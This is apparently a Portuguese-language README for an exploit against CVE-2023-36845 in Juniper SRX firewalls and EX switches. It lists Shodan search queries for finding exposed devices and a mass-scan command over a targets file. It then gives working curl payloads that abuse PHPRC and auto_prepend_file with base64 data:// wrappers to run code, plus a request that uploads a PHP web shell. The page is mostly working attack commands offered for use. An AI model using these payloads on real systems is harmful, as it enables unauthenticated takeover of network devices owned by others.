
Exploit para CVE-2023-36845 que permite execução remota de código não autenticada em firewalls Juniper SRX e switches EX por meio de manipulação de variáveis de ambiente PHP, com capacidades de detecção e entrega de payload.
CVE-2023-36845 representa uma notável vulnerabilidade de manipulação de variáveis de ambiente PHP que afeta firewalls Juniper SRX e switches EX. Embora a Juniper tenha classificado esta vulnerabilidade como de gravidade média, neste artigo, vamos elucidar como esta única vulnerabilidade pode ser aproveitada para execução remota de código não autenticada.
title:"Juniper Web Device Manager"
title:"Juniper" http.favicon.hash:2141724739
Detecção
python3 CVE-2023-36845.py -f targets.txt -o output.txt
É viável utilizar qualquer wrapper de protocolo em conjunto com auto_prepend_file. A escolha mais adequada para esta operação é o protocolo data://, que permite fornecer o "arquivo secundário" inline. Aqui está uma representação sofisticada deste exploit, executando o <? phpinfo(); ?> embutido no esquema data://:
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Execute o comando whoami
<?php shell_exec('whoami'); ?>
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'
Carregar um arquivo
<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'
| Parâmetro | Descrição | Tipo |
|---|---|---|
| --file / -f | Arquivo de alvos de entrada | Arquivo |
| -o | Arquivo de saída | Arquivo |